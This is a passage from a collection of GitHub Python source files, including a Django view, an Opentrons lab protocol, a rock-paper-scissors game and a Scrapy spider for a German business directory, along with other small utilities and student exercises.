intersection.\\n\")\n else:\n print(\"\\nThe common words in this set include:\")\n print(\"{}\\n\".format(set3))\n\n \n def setDifferences(self, set1, set2):\n \"\"\"\n Args: set1: String\n set2: String\n Return: None, prints the differences or notifies user that there is a lack of differences.\n \"\"\"\n set3 = set1.difference(set2), set2.difference(set1)\n if not set3 or '' in set3:\n print(\"There are no points of difference in your sets\")\n else:\n print(\"The unique words in either set include:\")\n print(\"Set #1 Unique Words : {}\".format(set3[0]))\n print(\"Set #2 Unique Words : {}\".format(set3[1]))\n\n \n def removeDelimiters(self, inputString):\n \"\"\"\n Args: inputString: String\n Return: outputString: processed string with all delimiters removed\n \"\"\"\n delimiters = [\",\", \".\", \"!\", \"?\", \"/\", \"&\", \"-\", \":\", \";\", \"@\", \"'\", \"...\"]\n outputString = []\n garbage = []\n for each in inputString:\n if each not in delimiters:\n outputString.append(each)\n else:\n garbage.append(each)\n print(\"Delimiters Removed from this set:\")\n print(\"{}\".format(garbage))\n\n outputString = \"\".join(outputString)\n return outputString\n\n \nif __name__ == '__main__':\n run = SetTrippin()\n practiceSet1 = \"Hell@o m,y n,ame is F,,red\"\n practiceSet2 = \"Pleasu@re to meet you@@, my name! is Gre.g\"\n result1 = run.setCreator(practiceSet1)\n result2 = run.setCreator(practiceSet2)\n run.setIntersection(result1, result2)\n run.setDifferences(result1, result2)\n","repo_name":"ajh1143/SetTrippin","sub_path":"SetTrippin.py","file_name":"SetTrippin.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26040673020","text":"import logging\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.http import require_http_methods\nfrom django.shortcuts import render\nfrom models import Map, Markers\n\nlogger = logging.getLogger(__name__)\n\n\n@login_required\n@require_http_methods(['GET'])\ndef map_index(request):\n logger.warning('******** MapList ********')\n for k,v in request.LTI.items():\n logger.debug('%s : %s' % (k,v))\n logger.debug('******** EndMapList ********')\n canvas_course_id = request.LTI.get('custom_canvas_course_id')\n return render(request, 'artifact/map_index.html', {'canvas_course_id': canvas_course_id})\n\n\n@login_required\n@require_http_methods(['GET'])\ndef location(request, map_id):\n logger.debug('******** Location ********')\n for k,v in request.LTI.items():\n logger.debug('%s : %s' % (k,v))\n logger.debug('******** EndLocation ********')\n return render(request, 'artifact/location.html', {'map_id': map_id})\n\n\n\n","repo_name":"penzance/mapAppDj","sub_path":"artifact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72983991235","text":"import pandas\nimport json\nfrom bs4 import BeautifulSoup\nimport re\n\ncourses_csv = \"courses-list-2016-04-24_20.25.23.xlsx\"\nprograms_csv = \"programs-list-2016-04-24_20.27.21.xlsx\"\n\n\ndef get_metadata(id):\n return {\"index\": {\"_index\": \"rpinfo2\", \"_type\": \"course\", \"_id\": id}}\n\n\ndef get_course_level(code):\n digit = int(code[0])\n\n if digit >= 5:\n return \"Graduate\"\n else:\n return \"Undergraduate\"\n\n\ndef get_courses():\n df = pandas.read_excel(\"resources/\" + courses_csv, sheetname='Worksheet')\n\n courses = []\n\n when_offered = set()\n credit_hours = set()\n prefixes = set()\n\n for index, row in df.iterrows():\n if row[\"Name\"] is not pandas.np.nan:\n\n _prefixes = row[\"Prefix\"].strip().upper().split(\" OR \")\n _code = row[\"Code\"]\n\n for prefix in _prefixes:\n\n prefixes.add(prefix)\n\n _id = prefix + \"-\" + _code\n subject_code = prefix + \" \" + _code\n\n course = {\"id\": _id,\n \"title\": row[\"Name\"],\n \"prefix\": prefix,\n \"code\": _code,\n \"subjectCode\": subject_code,\n \"level\": get_course_level(_code)}\n\n if row[\"Department Name\"] is not pandas.np.nan:\n department = {\"name\": row[\"Department Name\"]}\n course[\"department\"] = department\n\n if row[\"School/College Name\"] is not pandas.np.nan:\n school = {\"name\": row[\"School/College Name\"]}\n course[\"school\"] = school\n\n # TODO program?\n\n if row[\"Course Type\"] is not pandas.np.nan:\n course[\"courseType\"] = row[\"Course Type\"].strip()\n\n if row[\"Description (Rendered no HTML)\"] is not pandas.np.nan:\n course[\"description\"] = row[\"Description (Rendered no HTML)\"]\n\n if row[\"When Offered:\"] is not pandas.np.nan:\n course[\"whenOffered\"] = row[\"When Offered:\"].strip()\n when_offered.add(row[\"When Offered:\"].strip())\n\n if row[\"Credit Hours:\"] is not pandas.np.nan:\n course[\"creditHours\"] = row[\"Credit Hours:\"].strip()\n credit_hours.add(row[\"Credit Hours:\"].strip())\n\n if row[\"Prerequisites/Corequisites: (Rendered no HTML)\"] is not pandas.np.nan:\n # TODO parse prerequisites/corequisites text\n course[\"prerequisites_corequisites\"] = row[\"Prerequisites/Corequisites: (Rendered no HTML)\"]\n\n if row[\"Cross Listed:\"] is not pandas.np.nan:\n # TODO parse crosslisted text\n course[\"crossListed\"] = row[\"Cross Listed:\"]\n\n courses.append(course)\n\n # print(when_offered)\n # print(len(when_offered))\n # print(credit_hours)\n # print(prefixes)\n # print(len(prefixes))\n\n return courses\n\n\ndef get_programs():\n df = pandas.read_excel(\"resources/\" + programs_csv, sheetname='Worksheet')\n\n programs = []\n for index, row in df.iterrows():\n program = {\"name\": row[\"Program Name\"].strip()}\n\n if row[\"Degree Type\"] is not pandas.np.nan:\n program[\"degree_type\"] = row[\"Degree Type\"].strip()\n\n if row[\"Program Type\"] is not pandas.np.nan:\n program[\"program_type\"] = row[\"Program Type\"].strip()\n\n if row[\"Entity Name\"] is not pandas.np.nan:\n program[\"department\"] = row[\"Entity Name\"].strip()\n\n if row[\"Cores\"] is not pandas.np.nan:\n cores = get_program_core_courses(row[\"Cores\"].strip())\n program[\"core_courses\"] = list(cores)\n\n programs.append(program)\n\n return programs\n\n\ndef get_program_core_courses(html):\n core_courses = set()\n soup = BeautifulSoup(html, 'html.parser')\n pattern = re.compile(\"[A-Z]{4}\\s[0-9]{4}\")\n\n for line_item in soup.find_all('li'):\n text = line_item.text\n for match in pattern.findall(text):\n core_courses.add(match)\n\n return core_courses\n\n\ndef main():\n courses = get_courses()\n programs = get_programs()\n\n for program in programs:\n for core_course in program[\"core_courses\"]:\n matches = [_course for _course in courses if _course[\"subjectCode\"] == core_course]\n for course in matches:\n if \"core_for\" not in course:\n course[\"core_for\"] = []\n course[\"core_for\"].append(program)\n\n data = []\n for course in courses:\n _id = course[\"id\"]\n data.append(json.dumps(get_metadata(_id)))\n data.append(json.dumps(course))\n\n with open(\"out.bulk\", \"w\") as bulk_file:\n bulk_file.write('\\n'.join(data)+'\\n')\n\n # print(json.dumps(get_programs()))\n # print(get_program_core_courses(open(\"resources/CompSciCores.html\")))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"zednis/rpinfo2","sub_path":"ingest/ingest.py","file_name":"ingest.py","file_ext":"py","file_size_in_byte":4942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10874622423","text":"\"\"\"\nThis module is responsible for the automatic dependency tracking\n \n@author: Matt Pryor \n\"\"\"\n\n\n# The stack of callables\n__stack = []\n# The current callable\n__current = None\n\n\ndef begin(callback):\n \"\"\"\n Start a new tracking frame over the top of the current one\n \n The given callback will be called with the dependency whenever\n a dependency is registered\n \"\"\"\n global __current, __stack\n if __current is not None:\n __stack.append(__current)\n __current = callback\n \n \ndef end():\n \"\"\"\n Ends the current tracking frame and restores the previous frame\n \"\"\"\n global __current, __stack\n __current = None\n if __stack:\n __current = __stack.pop()\n \n \ndef register_dependency(dep):\n \"\"\"\n Registers dep as a dependency in the current frame\n \"\"\"\n global __current\n if __current:\n __current(dep)\n","repo_name":"mkjpryor/pyreact","sub_path":"pyreact/tracking.py","file_name":"tracking.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8822206352","text":"import argparse\n\nimport datetime\n\ncurrent_date = datetime.datetime.today()\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--num_y\", type=int)\nparser.add_argument(\"--num_d\", type=int)\nargs = parser.parse_args()\n\nfinal = datetime.datetime(current_date.year + args.num_y)\n\nprint(\"Current date: \", current_date)\nprint(\"Given years: \", args.num_y)\nprint(\"Given days: \", args.num_d)\nprint(\"Final date: \", final)","repo_name":"Khach-S/Intro-to-Python","sub_path":"Lecture 2/Homework/problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6647586016","text":"\"\"\"\r\nImplementing ython Practice Project\r\n\"\"\"\r\nimport random\r\n\r\ndef name_to_number(name):\r\n \"\"\"\r\n Take string name as input (rock/Spock/paper/lizard/scissors)\r\n and returns integer(0/1/2/3/4)\r\n \"\"\"\r\n if name == 'rock' :\r\n return 0\r\n elif name == 'Spock':\r\n return 1\r\n elif name == 'paper':\r\n return 2\r\n elif name == 'lizard':\r\n return 3\r\n elif name == 'scissors':\r\n return 4\r\n \r\ndef number_to_name(number):\r\n \"\"\"\r\n Take integer number as input(0/1/2/3/4)\r\n and returns string(rock/Spock/paper/lizard/scissors)\r\n \"\"\"\r\n if number == 0:\r\n return 'rock'\r\n elif number == 1:\r\n return 'Spock'\r\n elif number == 2:\r\n return 'paper'\r\n elif number == 3:\r\n return 'lizard'\r\n elif number == 4:\r\n return 'scissors'\r\n \r\ndef rpsls(player_choice):\r\n print(\"\")\r\n print(\"Player chooses \", player_choice)\r\n player_number = name_to_number(player_choice)\r\n \r\n comp_number = random.randrange(5)\r\n comp_choice = number_to_name(comp_number)\r\n print(\"Computer chooses \", comp_choice)\r\n \r\n difference = (comp_number-player_number) % 5\r\n \r\n if difference == 0:\r\n print(\"Player and Computer tie!\")\r\n elif difference == 1 | difference == 2:\r\n print(\"Computer wins!\")\r\n else:\r\n print(\"Player wins!\")\r\n \r\nrpsls('paper')","repo_name":"AkshayaSivakumar/LearningPython","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30411237009","text":"from opentrons import protocol_api, types\nimport pandas as pd\nimport numpy as np\nimport os\n\n# metadata\nmetadata = {\n 'protocolName': 'LIBRARY POOLING AND DILUTION',\n 'author': 'Name ',\n 'description': 'LIBRARY POOLING AND DILUTION FOR OPENTRONS',\n 'apiLevel': '2.10'\n}\nwater_run = False\nSource_positions = []\nTarget_positions = []\nRSB_volumes = []\nDNA_volumes = []\npool_volume = 13.0\n\n\n\n# protocol run function. the part after the colon lets your editor know\n# where to look for autocomplete suggestions\ndef run(protocol: protocol_api.ProtocolContext):\n # DECLARE LABWARES/MODULES\n #### TIP RACKS\n tiprack_300ul = protocol.load_labware('opentrons_96_tiprack_300ul', '7')\n\n #### PLATES\n # TODO\n sample_plate = protocol.load_labware('biorad_96_wellplate_200ul_pcr', '5')\n lobind_tubes = protocol.load_labware('opentrons_24_aluminumblock_generic_2ml_screwcap', '6', label='Lobind Tubes')\n #### PIPETTES\n left_pipette = protocol.load_instrument('p20_multi_gen2', mount='left')\n right_pipette = protocol.load_instrument('p300_multi_gen2', mount='right', tip_racks=[tiprack_300ul])\n\n sample_plate_wells = sample_plate.wells()\n\n # define tips\n def define_tip_positions_for_multi_pipette():\n \"\"\"\"\n This function defines tip position starting from H1 to A12 e.g. H1, G1, F1, E1, D1, C1, B1, A1\n in reference with the number of samples. it is given in a reverse order to pick up only a single\n tip using the multi channel pipette\n :returns list\n \"\"\"\n well_position_letters = ['H', 'G', 'F', 'E', 'D', 'C', 'B', 'A']\n well_position_numbers = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12']\n tip_positions = []\n for a in well_position_numbers:\n if len(tip_positions) == 96:\n break\n for b in well_position_letters:\n ba = b + a\n tip_positions.append(ba)\n return tip_positions\n\n def library_pooling():\n tip_positions = define_tip_positions_for_multi_pipette()\n index = 0\n\n # 1ST POOL\n right_pipette.pick_up_tip(location=tiprack_300ul[tip_positions[0]])\n while 0 <= index <= 11:\n right_pipette.aspirate(location=sample_plate_wells[index].bottom(), volume=pool_volume)\n index = index + 1\n right_pipette.dispense(location=lobind_tubes['A1'].bottom())\n\n while 12 <= index <= 23:\n right_pipette.aspirate(location=sample_plate_wells[index].bottom(), volume=pool_volume)\n index = index + 1\n right_pipette.dispense(location=lobind_tubes['A1'].bottom())\n\n if water_run:\n right_pipette.drop_tip(location=tiprack_300ul[tip_positions[0]], home_after=False)\n else:\n right_pipette.drop_tip(home_after=False)\n del tip_positions[0]\n\n #2ND POOL\n right_pipette.pick_up_tip(location=tiprack_300ul[tip_positions[0]])\n while 24 <= index <= 35:\n right_pipette.aspirate(location=sample_plate_wells[index].bottom(), volume=pool_volume)\n index = index + 1\n right_pipette.dispense(location=lobind_tubes['B1'].bottom())\n\n while 36 <= index <= 47:\n right_pipette.aspirate(location=sample_plate_wells[index].bottom(), volume=pool_volume)\n index = index + 1\n right_pipette.dispense(location=lobind_tubes['B1'].bottom())\n\n if water_run:\n right_pipette.drop_tip(location=tiprack_300ul[tip_positions[0]], home_after=False)\n else:\n right_pipette.drop_tip(home_after=False)\n del tip_positions[0]\n\n # 3RD POOL\n right_pipette.pick_up_tip(location=tiprack_300ul[tip_positions[0]])\n while 48 <= index <= 59:\n right_pipette.aspirate(location=sample_plate_wells[index].bottom(), volume=pool_volume)\n index = index + 1\n right_pipette.dispense(location=lobind_tubes['C1'].bottom())\n\n while 60 <= index <= 71:\n right_pipette.aspirate(location=sample_plate_wells[index].bottom(), volume=pool_volume)\n index = index + 1\n right_pipette.dispense(location=lobind_tubes['C1'].bottom())\n\n if water_run:\n right_pipette.drop_tip(location=tiprack_300ul[tip_positions[0]], home_after=False)\n else:\n right_pipette.drop_tip(home_after=False)\n del tip_positions[0]\n\n # 4TH POOL\n right_pipette.pick_up_tip(location=tiprack_300ul[tip_positions[0]])\n while 72 <= index <= 83:\n right_pipette.aspirate(location=sample_plate_wells[index].bottom(), volume=pool_volume)\n index = index + 1\n right_pipette.dispense(location=lobind_tubes['D1'].bottom())\n\n while 84 <= index <= 95:\n right_pipette.aspirate(location=sample_plate_wells[index].bottom(), volume=pool_volume)\n index = index + 1\n right_pipette.dispense(location=lobind_tubes['D1'].bottom())\n\n if water_run:\n right_pipette.drop_tip(location=tiprack_300ul[tip_positions[0]], home_after=False)\n else:\n right_pipette.drop_tip(home_after=False)\n del tip_positions[0]\n\n\n # IF YOU WANT TO CANCEL A STEP BELOW JUST ADD '#'\n library_pooling()\n","repo_name":"Jasonandoy23/ILLUMINA_Opentrons","sub_path":"Library_Pooling_And_Dilution/Library_Pooling_And_Dilution.py","file_name":"Library_Pooling_And_Dilution.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1108808895","text":"import tensorflow as tf\r\nimport os\r\n\r\nw1 = tf.Variable(tf.random_normal(shape=[2]), name='w1')\r\nw2 = tf.Variable(tf.random_normal(shape=[5]), name='w2')\r\nsaver = tf.train.Saver([w1,w2])\r\nsess = tf.Session()\r\nsess.run(tf.global_variables_initializer())\r\nname = os.path.dirname(os.path.abspath(__file__)) + \"/\" + 'my_test_model'\r\nsaver.save(sess, name, global_step=1000)","repo_name":"AVoskoboinikov/ts","sub_path":"www/test.save.py","file_name":"test.save.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16604007697","text":"from db import get_db\n\nclass Bill:\n def __init__(self, date, payer, group_name, amount, description):\n self.date = date\n self.payer = payer\n self.group_name = group_name\n self.amount = amount\n self.description = description\n\n @staticmethod\n def get(bill_date):\n db = get_db()\n bill = db.execute(\n \"SELECT * FROM bill WHERE bill_date = ?\", \n (bill_date,)\n ).fetchone()\n if not bill:\n return None\n\n bill = Bill(\n date = bill[0], payer = bill[1], group_name = bill[2], amount = bill[3], description=bill[4]\n )\n return bill\n \n @staticmethod\n def create(date, payer, group_name, amount, description):\n db = get_db()\n db.execute(\n \"INSERT INTO bill (bill_date, payer, group_name, amount, description) \"\n \"VALUES (?, ?, ?, ?, ?)\",\n (date, payer, group_name, amount, description)\n )\n db.commit()","repo_name":"yimingyinqwqq/Splitter-Application","sub_path":"backend/bill.py","file_name":"bill.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70118551235","text":"import json\nimport logging\nimport os.path\nfrom datetime import datetime as dt\n\nfrom singleton_decorator import singleton\n\n\n@singleton\nclass Log:\n\n\tdef __init__(self):\n\n\t\tfile = open(\"config.json\", \"r\")\n\t\tfile = json.load(file)\n\t\tfile = file['logging']\n\t\tfilePath = os.path.join(os.path.abspath(\"..\"), \"logs\")\n\t\tif not os.path.exists(filePath):\n\t\t\tos.mkdir(filePath)\n\t\tself.logger = logging.getLogger(file['loggerType'])\n\t\tself.logger.setLevel(logging.INFO)\n\t\thandler = logging.FileHandler(\n\t\t\tfilename='logs/discord {}.log'.format(dt.now().strftime(file['dateTimeFormat'])),\n\t\t\tencoding=file['encoding'],\n\t\t\tmode='w')\n\n\t\thandler.setFormatter(logging.Formatter(\n\t\t\tfile['handlerFormat']))\n\t\tself.logger.addHandler(handler)\n\n\tdef info(self, message):\n\t\tself.logger.info(message)\n\n\tdef warning(self, message):\n\t\tself.logger.warning(message)\n","repo_name":"flkapes/gboozy","sub_path":"commands/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29187004623","text":"#from torch.utils.data import Dataset, ImageFolder\nfrom __future__ import print_function, division\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport numpy as np\nimport torchvision\nfrom torchvision import datasets, models, transforms\nimport time\nimport os\nimport copy\n\ndata_transform = transforms.Compose([\n transforms.Resize(299),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n\ndata_dir = 'new_data'\nimage_dataset = datasets.ImageFolder(os.path.join(data_dir, 'heldout'), data_transform)\ndataloader = torch.utils.data.DataLoader(image_dataset, batch_size=32, shuffle = True, num_workers = 16)\ndataset_sizes = len(image_dataset)\nclass_names = image_dataset.classes\n\nif torch.cuda.is_available():\n print(\"Using GPU\")\nelse:\n print(\"Using CPU\")\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n#device = torch.device(\"cpu\")\n\ndef test_model(model):\n model.eval()\n\n running_corrects = 0\n\n for inputs, labels in dataloader:\n inputs = inputs.to(device)\n labels = labels.to(device)\n\n outputs = model(inputs)\n\n if isinstance(outputs, tuple):\n _, preds = torch.max(outputs[0], 1)\n else:\n _, preds = torch.max(outputs, 1)\n\n print(preds)\n print(labels.data)\n running_corrects += torch.sum(preds == labels.data)\n print(running_corrects.double())\n\n acc = running_corrects.double() / dataset_sizes\n\n print('Accuracy: {:.4f}'.format(acc))\n\n\nmodel = torch.load('inception_25epochs.pt')\nmodel = model.to(device)\n\ntest_model(model)\n","repo_name":"dlewis777/wheres-waldo","sub_path":"validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1220298572","text":"# -*- coding: utf-8 -*-\nimport json\nimport scrapy\nimport string\nfrom random import random\nfrom requests_toolbelt import MultipartEncoder\nfrom sys import maxsize\nfrom scrapy.exceptions import CloseSpider\nimport itertools\n\n\ndef remove_tag(description):\n if description:\n description = description.strip()\n description = description.replace('\\t', \"\")\n description = description.replace('\\n', \"\")\n description = description.encode('ascii', 'ignore')\n description = description.decode()\n return description\n\n\ndef gen_boundary():\n alpha_numeric_encoding_map = \\\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789AB'\n\n boundary = '----WebKitFormBoundary'\n\n for i in range(4):\n boundary += alpha_numeric_encoding_map[int(random() * (maxsize + 1)) >> 24 & 0x3F]\n boundary += alpha_numeric_encoding_map[int(random() * (maxsize + 1)) >> 16 & 0x3F]\n boundary += alpha_numeric_encoding_map[int(random() * (maxsize + 1)) >> 8 & 0x3F]\n boundary += alpha_numeric_encoding_map[int(random() * (maxsize + 1)) & 0x3F]\n\n return boundary\n\n\ndef input_list(keyword, location):\n k = keyword.replace('\\n', '').split('#')\n l = location.replace('\\n', '').split('#')\n return list(itertools.product(k, l))\n\n\nclass YlpSpider(scrapy.Spider):\n name = \"ylp-g\"\n allowed_domains = [\"gelbeseiten.de\"]\n alphabets = string.ascii_lowercase\n position = 0\n total_pages = 0\n\n # start_loading_index = 0\n\n # keyword = 'Restaurants'\n # location = '78120'\n def __init__(self, kword, location=None, distance='50000', *args, **kwargs):\n self.k = kword\n self.l = location\n self.dis = distance\n\n def start_requests(self):\n\n q = input_list(self.k, self.l)\n\n for i, query in enumerate(q):\n keyword, location = query\n distance =self.dis\n payload = {\n 'umkreis': f'{distance}',\n 'WAS': f'{keyword}',\n 'position': '0',\n 'WO': f'{location}',\n 'sortierung': 'relevanz',\n\n }\n me = MultipartEncoder(fields=payload, boundary=gen_boundary())\n me_body = me.to_string()\n header = {'Content-Type': me.content_type,\n 'origin': \"https://www.gelbeseiten.de\",\n 'user-agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.30\",\n # 'referer': f'https://www.gelbeseiten.de/Suche/{keyword}/{location}?umkreis={distance}',\n 'Accept': '*/*',\n # 'Accept-Encoding': 'gzip, deflate, sdch',\n # 'Accept-Language': 'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4',\n\n }\n yield scrapy.FormRequest(\n url='https://www.gelbeseiten.de/AjaxSuche',\n headers=header,\n body=me_body,\n callback=self.parse,\n method='POST',\n meta={'k': keyword, 'l': location, 'd': distance}\n )\n\n def parse(self, response, **kwargs):\n keyword = response.meta['k']\n location = response.meta['l']\n distance = response.meta['d']\n\n if len(response.text) <= 0:\n raise CloseSpider('Process Compelted')\n\n js = json.loads(response.text)\n\n if self.total_pages == 0:\n self.total_pages = int(js.get('gesamtanzahlTreffer'))\n self.position = int(js.get('anzahlTreffer')) + 1\n else:\n self.position += 10\n\n print('Total Records:{}'.format(self.total_pages))\n print('Search Term:{}'.format(keyword))\n print('Search Area:{}'.format(location))\n print('Current Postion:{}'.format(self.position))\n resp = scrapy.selector.Selector(text=js.get('html'))\n\n articless = resp.xpath('//article')\n print(\"Article Count\", len(articless))\n for articles in articless:\n jd = articles.xpath('.//@data-lazyloaddata').get()\n if jd:\n company = json.loads(jd)\n url = company.get('detailseitenUrl')\n hit_btn_list = company.get('trefferButtonListList').get('trefferButtonListList')\n website = None\n email = None\n\n for item in hit_btn_list[0]:\n if item.get('type') == \"homepage\":\n website = item.get('gcLink').get('href', 'N/A')\n if item.get('type') == \"email\":\n email = item.get('gcLink').get('href')\n\n business_name = company.get('name')\n address = company.get('adresseKompakt')\n phone = address.get('telefonnummer', '')\n street_number = address.get('strasseHausnummer', '')\n postal_code = address.get('plzOrt', '')\n district = address.get('stadtteil', '')\n dis_km = address.get('entfernungText', '')\n address = f'{street_number if street_number else \"\"}{postal_code if postal_code else \"\"}{district if district else \"\"} {dis_km if dis_km else \"\"}'\n if email and email.startswith('mailto'):\n email = email.split('?')[0].replace('mailto:', '')\n else:\n email = 'n/a'\n yield {\n 'Search Area': remove_tag(location),\n 'Search Term': remove_tag(keyword),\n 'Business': remove_tag(business_name),\n 'Email': email,\n 'Website': website,\n 'Phone': phone,\n 'Address': remove_tag(address)\n\n }\n else:\n addresss = articles.xpath('.//*[@class=\"mod-AdresseKompakt\"]')\n street_number = addresss.xpath('.//p[@data-wipe-name=\"Adresse\"]/text()').get()\n postal_code = addresss.xpath('.//p/span[@class=\"nobr\"]/text()').get()\n dis_km = addresss.xpath(\n './/p/span[@class=\"mod-AdresseKompakt__entfernung\"]/text()').get()\n business_name = articles.xpath('.//h2/text()').get()\n\n address = f'{street_number if street_number else \"\"}{postal_code if postal_code else \"\"} { dis_km if dis_km else \"\"}'\n phone = addresss.xpath('.//p[@class=\"mod-AdresseKompakt__phoneNumber\"]/text()').get()\n website = articles.xpath(\n './/a[contains(@class,\"contains-icon-homepage\")]/@href').get()\n email = articles.xpath(\n './/a[contains(@class,\"contains-icon-email\")]/@href').get()\n if email and email.startswith('mailto'):\n email = email.split('?')[0].replace('mailto:', '')\n else:\n email = 'n/a'\n yield {\n 'Search Area': remove_tag(location),\n 'Search Term': remove_tag(keyword),\n 'Business': remove_tag(business_name),\n 'Email': email,\n 'Website': website,\n 'Phone': phone,\n 'Address': remove_tag(address)\n\n }\n\n if self.position < self.total_pages:\n payload = {\n 'umkreis': f'{distance}',\n 'WAS': f'{keyword}',\n 'position': f'{self.position}',\n 'WO': f'{location}',\n 'anzahl': '10',\n 'sortierung': 'relevanz',\n\n }\n\n me = MultipartEncoder(fields=payload, boundary=gen_boundary())\n me_body = me.to_string()\n header = {'Content-Type': me.content_type,\n 'origin': \"https://www.gelbeseiten.de\",\n 'user-agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.30\",\n 'referer': f'https://www.gelbeseiten.de/Suche/{keyword}/{location}/?umkreis={distance}',\n 'Accept': 'application/json,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, sdch',\n 'Accept-Language': 'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4',\n\n }\n yield scrapy.Request(\n url='https://www.gelbeseiten.de/AjaxSuche',\n headers=header,\n body=me_body,\n callback=self.parse,\n method='POST',\n meta={'k': keyword, 'l': location, 'd': distance}\n\n )\n","repo_name":"pyfuncode/yellow_pages","sub_path":"gelbeseiten/spiders/ylp.py","file_name":"ylp.py","file_ext":"py","file_size_in_byte":8738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2742211798","text":"import copy\nimport logging\nimport math\nimport os\nimport random\nimport re\nimport string\nimport sys\nfrom collections import Counter, OrderedDict, defaultdict\n\nimport numpy as np\nimport torch\nimport torch.distributions as D\nimport torch.nn.functional as F\n\nfrom utils_data import load_datasets\n\nlogger = logging.getLogger(__name__)\n\n\ndef set_seed(seed, n_gpu):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n if n_gpu > 0:\n torch.cuda.manual_seed_all(seed)\n\n\n# padding, unknown word, end of sentence\nbase_vocab = [\"\", \"\", \"\", \"